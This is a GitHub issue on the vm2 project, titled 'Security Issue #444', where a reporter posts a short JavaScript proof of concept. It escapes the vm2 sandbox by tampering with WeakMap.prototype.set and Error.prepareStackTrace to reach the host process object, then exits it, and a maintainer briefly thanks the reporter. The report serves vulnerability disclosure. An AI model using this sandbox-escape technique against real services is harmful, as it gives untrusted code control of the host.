Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Issue #444

Closed
kagesakura opened this issue Jul 5, 2022 · 1 comment
Closed

Security Issue #444

kagesakura opened this issue Jul 5, 2022 · 1 comment

Comments

@kagesakura
Copy link

const { VM } = require('vm2');
new VM().run(`
  const { set } = WeakMap.prototype;
  WeakMap.prototype.set = function(v) {
    return set.call(this, v, v);
  };
  Error.prepareStackTrace =
  Error.prepareStackTrace =
  (_, c) => c.map(c => c.getThis()).find(a => a);
  const { stack } = new Error();
  Error.prepareStackTrace = undefined;
  stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');
@XmiliaH
Copy link
Collaborator

XmiliaH commented Jul 5, 2022

Thanks for reporting this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants